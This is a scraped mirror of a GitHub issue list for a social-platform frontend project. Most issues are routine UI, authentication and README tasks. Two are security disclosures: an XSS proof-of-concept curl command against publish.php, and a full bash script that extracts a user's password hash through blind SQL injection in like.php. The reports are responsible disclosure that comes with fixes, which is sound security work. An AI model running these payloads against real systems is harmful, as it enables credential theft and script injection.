Code Monkey home page Code Monkey logo

social-platform-donut-frontend's People

Contributors

abba-jabba avatar anisin97 avatar auraofdivinity avatar capedcrusader23 avatar devanshcodes avatar devesh-verma avatar govindgoel avatar iamgrawal avatar imdhruvgupta avatar imskr avatar jaskiratsingh2000 avatar ksraj123 avatar lakshyabatman avatar mark-nakachon avatar nklayman avatar nurdtechie98 avatar pragun22 avatar prateekiiest avatar rak-shit avatar rupeshiya avatar sdsahib avatar shakti97 avatar shubham59 avatar sriaish avatar sweta271097 avatar tanujvyas10 avatar tg1999 avatar tharun143 avatar vaibhavdaren avatar vinitshahdeo avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

social-platform-donut-frontend's Issues

Front-end of feed page

To make the front-end of a feed-page to show articles, projects, events, blog, communities etc.

Add image to popular projects

As of now we are not showing image of the popular project.
You need to add the project image before project name which is in blue.
popular_projects

Authentication:- Login with Facebook

create an authentication for login with Facebook. It's already done with google and GitHub(refer that). Follow the folder structure and pull code from development branch and send the PR to same branch.

Frontend Task

Need a great UX for the landing page after the user logs in

Want to Contribute to Codeuino

Hello Everyone, My name is Yashwanth, from IIT Bhubaneswar,India. I have good knowledge in HTML,CSS, Java Script,Python,Java. I am specialized in Machine Learning,Deep Learning and Data Analytics. I am planning to apply GSOC 2019 with Codeuino. I need help to get started with. Assign me some task/sub goal to get started to work and contribute codeuino. Thankyou!

Needed front end layout for a comments

ch
The box below (1,1,comment,share)is simple textarea. Try to improve it and after submitting a comment it should be displayed in a card format.Only focus on design of comment box rather than submit logic.

Make the feeds portion scrollable

ss

If you start server and try to scroll page,whole section of proposed project and and open source events also get scrolled.
Make those 2 fixed and move open source event to left of feeds.

Not able to scroll in mobile view

screenshot from 2019-02-27 11-16-45

BUG
I cannot scroll over in tablet or mobile view.
Is this some issue or done intentionally for some reason.

I will be taking up this issue

Improve the way tags look

For this, you can take inspiration from Github tags, also you free to show your creativity in this.
You can also produce 2-3 variations if you want.

Adding Dependabot

Feature Suggestion

Dependabot is a special bot on github which can update dependencies by adding pr in the project and configuring it can create a better experience for other developers to add pr and issues in the organization.

Though implement this bot on Donut project, though I really like idea behind it @jaskirat2000 :) .

https://dependabot.com/ for more information.

Improve look of name,image and designation

As of now the alignment of image(user profile pic) and the name of the user and the designation is not proper.
Also, the profile pic is in square shape as now, change to circular one.
name_designation

Error when running npm install --save

I am getting the follwoing error when I run npm install --save:

Please include the following file with any support request:
npm ERR! /home/username/Social-Platform-Donut/npm-debug.log

modify readme

modifying readme a bit.
There are a lot fo npm install commands. All this can be done by simplying typing npm install inside the directory of the project. So a simple change in readme can make it cleaner. :D

This issue can be taken up by anyone.
Cheers!

XSS in publish.php

Hi Developers,

you do not sanitize the 5 $_POST variables username,contentname,tagline,content, and genre against XSS vectors in publish.php when inserting new articles in the database. This can lead to different harmfull actions performed against users by injected code. You should consider applying filter functions similar to the attached patch.
patch.txt
Note that this patch does filter all HTML tags..what might not be an option for you as you use an editor that produces HTML tags. However there are solutions for these cases too, e.g.: HTML Purifier(http://htmlpurifier.org/)

POC:
This will insert a malicious XSS code inside each of the mentioned fields with the username of user shown as author and does not even require authentication.
$ curl -d "username=user'#\"><script>alert('usr');</script><a href=\"#&contentname=<script>alert('title');</script>&tagline=<script>alert('tags');</script>&content=<script>alert('content');</script>&<script>alert('gen');</script>" -X POST http://localhost/Social-Platform-Donut/596841401/publish.php

Further, you should consider authenticating the user and the calling script before processing POST requests in general and reading static contents from storage when accessible instead of passing and reading them from easily alterable request parameters.

SQL Injections in like.php and dislikes.php

Hi Developers,

you do not sanitize the two $_POST variables article and username when performing Like and Dislike actions in like.php and dislikes.php. This can be misused to modify your used SQL queries. You can prevent the risk by filtering the two variables before using them as in the following patch:
patch.txt

POC:
The vulnerabilities can i.a. be used to read content from the database in a Blind SQL Injection manner. The following code extracts the password hash of the user "user" by bruteforcing each character using a SQL Injection in like.php:
( We assume an article with id=0 exists and was not yet liked by a user "user", note that we could simply create an article as unauthenticated user for this purpose: see #5 )

#!/bin/bash
URL="http://localhost/Social-Platform-Donut/596841401/like.php"
USERNAME="user"    # any name
ARTICLE=0          # the article id
ASCII_DEC=($(seq 0 0; seq 32 126))    # list of ascii char codes
FIELD="password"         # the field we are extracting the content of
TABLE="users"            # the table we are extracting the content of
WHERE="username='user'"  # where clause for extracting
VALUE=""
# initial like entry
PREV=$(curl -s -d "article=${ARTICLE}&username=${USERNAME}" -X POST "${URL}")
i=1     # substring index
j=0     # char code index
while true; do
	c=${ASCII_DEC[$j]}
        # query that will eval to true or false -> control like add or remove
	QUERY="' AND '${c}'=ASCII(SUBSTRING((SELECT ${FIELD} FROM ${TABLE} WHERE ${WHERE}),${i},1)) AND '1'='1"
	RES=$(curl -s -d "article=${ARTICLE}&username=${USERNAME}${QUERY}" -X POST "${URL}")
	if [ $RES -lt $PREV ]; then
		if [ $c -eq 0 ]; then
			echo "found ${VALUE} for SELECT ${FIELD} FROM ${TABLE} WHERE ${WHERE}"
			exit
		fi
		VALUE=$(printf "${VALUE}\x$(printf %x ${c})")    # store found chars
		i=$((${i}+1))    # extract next char
		# reset
		j=0
		curl -s -d "article=${ARTICLE}&username=${USERNAME}' AND '1'='1" -X POST "${URL}" 1>/dev/null
		RES=$(curl -s -d "article=${ARTICLE}&username=${USERNAME}' AND '1'='0" -X POST "${URL}")
	else
		j=$((${j}+1))         # try next char code
	fi
	PREV="${RES}"
done

Further, you should consider authenticating the user and the calling script before processing POST requests in general and reading static contents from storage when accessible instead of passing and reading them from easily alterable request parameters.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.